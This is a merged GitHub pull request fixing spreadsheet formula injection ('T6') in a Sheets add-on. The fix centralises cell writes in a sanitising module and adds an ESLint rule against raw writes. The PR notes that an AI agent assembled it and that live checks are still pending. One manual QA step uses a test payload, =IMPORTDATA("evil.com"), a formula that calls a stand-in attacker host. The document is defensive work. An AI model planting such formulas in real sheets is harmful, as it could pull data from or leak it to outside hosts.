Skip to content

fix(security): systemic fix for T6 formula injection via centralized safe-writes#129

Merged
aaronbrezel merged 20 commits into
developfrom
AI-89-systemic-t6-safe-writes
Jul 16, 2026
Merged

fix(security): systemic fix for T6 formula injection via centralized safe-writes#129
aaronbrezel merged 20 commits into
developfrom
AI-89-systemic-t6-safe-writes

Conversation

@aaronbrezel

Copy link
Copy Markdown
Member

Summary

  • Fixes T6 (formula injection via untrusted spreadsheet-cell writes) systemically instead of as another point-fix: centralizes every Sheets cell write in src/server/ through a new src/server/safe-writes.ts module (four primitives — writeSafeValue/writeSafeValueGrid for plain text, writeSafeRichText/writeSafeRichTextGrid for rich text), closing the AI-75/AI-76 gaps plus three previously-unknown gaps found during this work (formatMarkdownSelection, sampleRowsToEvaluation's copy, and runBatchAI's column-header creation).
  • Adds an ESLint no-restricted-syntax rule forbidding any raw setValue/setValues/setRichTextValue/setRichTextValues call in src/server/**/*.ts outside safe-writes.ts, so a future write site can't silently reintroduce this exact recurring bug class.
  • Redefines T6 in the threat model as a vulnerability class (which functions can be hijacked into writing an untrusted, auto-executing formula) rather than a single call site, adds response R45, marks R8/R21/R22 as superseded, and consolidates the AI-56/AI-75/AI-76 Open Items under the new umbrella issue AI-89 (with those three issues re-parented under it in Linear).
  • Includes the full design rationale and implementation plan (docs/superpowers/specs/2026-07-15-t6-systemic-safe-writes-design.md, docs/superpowers/plans/2026-07-15-t6-systemic-safe-writes-plan.md) for reviewers who want the "why" behind each architectural decision.

Manual QA

  1. Enable "Apply markdown formatting" in Run AI and use a system prompt that asks the model to respond with exactly =SUM(1,2). Confirm the output cell displays the literal text =SUM(1,2), not the computed value 3.
  2. Run Extract Text against a Doc whose body literally contains =IMPORTDATA("evil.com") as plain text (typed directly into the Doc, not as a live formula). Confirm the output cell displays it as literal text.
  3. Type a formula-like literal string into a cell (prefixed with ' so it doesn't evaluate), select it, and run "Format Markdown Selection." Confirm the cell still displays literal text afterward, not a live formula.
  4. On a sheet with a sanitized AI-output column (from step 1), run "Sample Rows" to copy into an _evaluation sheet. Confirm the copied cell still displays as literal text there, not a live, recomputed formula.
  5. Run a normal Run AI batch with markdown formatting on ordinary (non-malicious) prompts — confirm bold/links/headings still render correctly, with no regression to legitimate formatting.

Targeting develop. Regression checklist below marked N/A — automated verification is complete (555/555 tests, lint/typecheck/format/build all clean; safe-writes.ts at 100% coverage), but this PR was assembled by an AI agent in a sandboxed environment with a broken local clasp install, so the live-sheet steps above have not yet been run against the dev sheet. See Notes.

  • N/A (develop-targeting; see note above) — Add-on menu appears after opening a Sheet
  • N/A — Sidebar opens without errors
  • N/A — Import Drive Links — imports files from a folder
  • N/A — Extract Text — extracts text from a Doc/PDF/image
  • N/A — Sample Rows — samples rows reproducibly with a seed
  • N/A — Run AI — batch inference completes and writes output column
  • N/A — Tested on a Sheet the tester does not own (shared access)

Security

  • Modifies how AI output is written to the spreadsheet (affects T6 — formula injection)

Threat model updated in this PR (see docs/threat_models/ssi-toolkit-threat-model.md — T6 rewrite, R45, superseded R8/R21/R22, consolidated Open Items).

Notes

This branch was implemented via subagent-driven development: 9 sub-tasks (including one gap discovered and fixed mid-implementation — runBatchAI's column-header creation, found while adding the ESLint rule), each independently reviewed against its brief, plus a final whole-branch review (verdict: ready to merge, no Critical/Important findings). Before merging past develop, please run the 5 manual QA steps above against the dev sheet — the automated verification is solid but the live-sheet behavior (items 1-4 in particular, which are the actual security-relevant checks) has not been human- or browser-verified yet.

aaronbrezel and others added 20 commits July 15, 2026 13:37
Captures the redefinition of T6 as a vulnerability class (not a single
call site), the centralized safe-writes.ts architecture, the full
call-site inventory, and the CI enforcement mechanism agreed on with
the user across this design session.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
- Grounding markdown is included in the safe-write path (not carved out
  as an exception), consistent with the blanket-sanitization decision.
- Unify writeSafeValue/writeSafeValueGrid on the same unknown-typed,
  inline typeof guard instead of a separately named adapter — removes
  an arbitrary string/unknown split between the two plain-value
  primitives while keeping current call sites behaviorally unchanged.
- Fix markdownlint table-separator formatting.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
8 tasks: build safe-writes.ts (TDD, all 4 primitives + relocated
sanitizeForCell/writeColumn/findOrCreateColumn), migrate extractText,
runBatchAI, formatMarkdownSelection, and sampleRowsToEvaluation onto
it, add an ESLint no-restricted-syntax enforcement rule, update the
threat model, and manually verify against the dev sheet.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Found while adding Task 6's ESLint rule: two raw setValue() calls that
create the output/grounding column headers were missed by the original
call-site audit. Amending the plan before fixing, per user sign-off.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
@aaronbrezel
aaronbrezel merged commit 221ce29 into develop Jul 16, 2026
1 check passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant